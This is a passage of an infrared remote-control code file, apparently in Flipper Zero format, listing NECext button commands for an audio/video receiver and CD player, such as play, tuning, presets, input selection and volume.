-address: 80 70 00 00 -command: 02 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 02 00 00 00 -# -name: CD_PAUSE_ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: CD_PAUSE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: CD_MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: CD_REC/PAUSE_(PTY) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 03 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: CD_SKIP_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: CD_CHAN/SKIP_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: CD_SKIP_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 04 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: CD_SKIP_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: CD_CHAN/SKIP_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: CD_SKIP_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 05 00 00 00 -# -name: CD_SEARCH_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: CD_SEARCH>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: CD_SEARCH>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: CD_SCAN_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: CD_TUNE/SRCH_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 06 00 00 00 -# -name: CD_SEARCH_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: CD_SEARCH<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: CD_SEARCH<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: CD_SCAN_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: CD_TUNE/SRCH_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 07 00 00 00 -# -name: CD_REPEAT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0A 00 00 00 -# -name: CD_A-B -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0B 00 00 00 -# -name: CD_A-B -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0B 00 00 00 -# -name: CD_A_-_B -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0B 00 00 00 -# -name: CD_INTRO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: CD_INTRO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: INTRO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: CD_#_(P-SCAN) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0D 00 00 00 -# -name: CD_*_(MEMO) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0E 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 0F 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 10 00 00 00 -# -name: CD_1_(ABC) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 11 00 00 00 -# -name: CD_2_(DEF) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 12 00 00 00 -# -name: CD_3_(GHI) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 13 00 00 00 -# -name: CD_4_(JKL) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 14 00 00 00 -# -name: CD_5_(MNO) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 15 00 00 00 -# -name: CD_6_(PQR) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 16 00 00 00 -# -name: CD_7_(STU) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 17 00 00 00 -# -name: CD_8_(VWX) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 18 00 00 00 -# -name: CD_9_(YZ) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 19 00 00 00 -# -name: CD_0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 1A 00 00 00 -# -name: TUNING+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 28 00 00 00 -# -name: TUNING- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 29 00 00 00 -# -name: CD_0_(CLEAR) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 40 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: CD_DISC -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: DISC -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: CD_DISC_SKIP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: CD_DISC_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: CD_PRESET_DISC_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: DISC_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 50 00 00 00 -# -name: CD_SOURCE_POWER_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 56 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 56 00 00 00 -# -name: CD_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 56 00 00 00 -# -name: CD_SOURCE_POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 57 00 00 00 -# -name: CD_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 57 00 00 00 -# -name: CD_POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 57 00 00 00 -# -name: CD_PRESET_DISC_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5B 00 00 00 -# -name: DISC_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5B 00 00 00 -# -name: CD_REV_PLAY_<_(FM_M) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 5F 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: IN_AM/FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: AM/FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: SOURCE_RADIO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: INPUT_AM/FM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 81 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 82 00 00 00 -# -name: TUNING_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNING_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: AVR30_CH_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNING_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNE_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNING_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: AM/FM_TUNE/SRCH_>> -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNER_SCAN_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 84 00 00 00 -# -name: TUNING_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNING_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: AVR30_CH_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNING_DOWN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE_DN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNING_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNE_DOWN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: AM/FM_TUNE/SRCH_<< -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: TUNER_SCAN_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 85 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 86 00 00 00 -# -name: MEM -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 86 00 00 00 -# -name: AM/FM_*_(MEMO) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 86 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: AVR30_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: DELAY1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: AM/FM_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: AM/FM_1_(ABC) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: TUNER_PRESET_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 87 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: AVR30_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: AM/FM_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: AM/FM_2_(DEF) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: TUNER_PRESET_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 88 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: AVR30_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: AM/FM_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: AM/FM_3_(GHI) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: TUNER_PRESET_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 89 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: AVR30_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: AM/FM_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: AM/FM_4_(JKL) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: TUNER_PRESET_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8A 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: AVR30_5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: AM/FM_5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: AM/FM_5_(MNO) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: TUNER_PRESET_5 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8B 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: AVR30_6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: AM/FM_6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: AM/FM_6_(PQR) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: TUNER_PRESET_6 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8C 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: AVR30_7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: 6CH -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: AM/FM_7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: AM/FM_7_(STU) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: TUNER_PRESET_7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8D 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: AVR30_8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: AM/FM_8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: AM/FM_8_(VWX) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: TUNER_PRESET_8 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8E 00 00 00 -# -name: SHIFT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8F 00 00 00 -# -name: AVR30_SHIFT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 8F 00 00 00 -# -name: SEEK -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 91 00 00 00 -# -name: SEEK-STEREO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 91 00 00 00 -# -name: TUN-M -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 93 00 00 00 -# -name: FM_MODE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 93 00 00 00 -# -name: TUNE-M -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 93 00 00 00 -# -name: AM/FM_FM_MODE_(<) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 93 00 00 00 -# -name: P.SCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: TUNER_P.SCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: PRESET_SCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: PSCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: P._SCAN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: AM/FM_#_(P-SCAN) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 96 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9B 00 00 00 -# -name: DIRECT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9B 00 00 00 -# -name: DIRECT/M3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9B 00 00 00 -# -name: ON_(MAIN_POWER) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9C 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: AM/FM_9_(YZ) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: TUNER_PRESET_9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9D 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9E 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9E 00 00 00 -# -name: AM/FM_0_(CLEAR) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9E 00 00 00 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: OFF_(MAIN_POWER) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: RECEIVER_POWER_OFF -type: parsed -protocol: NECext -address: 80 70 00 00 -command: 9F 00 00 00 -# -name: SOURCE_CABLE/SAT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B0 00 00 00 -# -name: SOURCE_TV -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B1 00 00 00 -# -name: SOURCE_GAME -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B2 00 00 00 -# -name: SOURCE_MEDIA_SERVR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B3 00 00 00 -# -name: SOURCE_AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B4 00 00 00 -# -name: LAST -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B6 00 00 00 -# -name: BACK/EXIT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B7 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 80 70 00 00 -command: B8 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: BD 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: BE 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: BF 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: RECEIVER_POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: AVR30_POWER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: AVR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: IN_AVR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: AVR_/_ON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: ON/AVR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: STANDBY -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C0 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C1 00 00 00 -# -name: VOLUME_MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C1 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C1 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C1 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C2 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C3 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: IN_CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C4 00 00 00 -# -name: A/V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C5 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C5 00 00 00 -# -name: VIDEO -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C6 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOL_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: MASTER_VOLUME_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLYM_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C7 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VOL_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: MASTER_VOLUME_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VOLYM_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: C8 00 00 00 -# -name: VIDEO_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VID1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VCR/TAPE1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: IN_VIDEO_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VIDEO1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VID_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: INPUT_VIDEO_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VCR1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CA 00 00 00 -# -name: VIDEO_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VID2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VCR/TAPE2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: IN_VIDEO_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VIDEO2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VID_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: INPUT_VIDEO_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: VCR2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CB 00 00 00 -# -name: TAPE/CDR -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: IN_TAPE -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE1 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE_MON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CC 00 00 00 -# -name: TAPE_2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CD 00 00 00 -# -name: TAPE_MON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CD 00 00 00 -# -name: IN_AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CD 00 00 00 -# -name: TAPE2 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CD 00 00 00 -# -name: TAPE_MON -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CD 00 00 00 -# -name: VIDEO_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: TV/AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: VID3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: IN_VIDEO_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: VIDEO3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: TV_/_AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: VID_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: INPUT_VIDEO_3 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: TV/AUX -type: parsed -protocol: NECext -address: 80 70 00 00 -command: CE 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: IN_DVD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: SOURCE_DVD -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D0 00 00 00 -# -name: VIDEO4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D1 00 00 00 -# -name: VCP -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D1 00 00 00 -# -name: VID_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D1 00 00 00 -# -name: VIDEO_4 -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D1 00 00 00 -# -name: SAT -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D2 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D3 00 00 00 -# -name: R_LEV_^(REAR_LEVEL) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D7 00 00 00 -# -name: SURR_REAR_LVL_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D7 00 00 00 -# -name: REAR_LEVEL+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D7 00 00 00 -# -name: REAR_LEVEL_+ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D7 00 00 00 -# -name: REAR_LEVEL_^ -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D7 00 00 00 -# -name: R_LEV_V(REAR_LEVEL) -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D8 00 00 00 -# -name: SURR_REAR_LVL_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D8 00 00 00 -# -name: REAR_LEVEL- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D8 00 00 00 -# -name: REAR_LEVEL_- -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D8 00 00 00 -# -name: REAR_LEVEL_V -type: parsed -protocol: NECext -address: 80 70 00 00 -command: D8 00 00 00 -# -name: 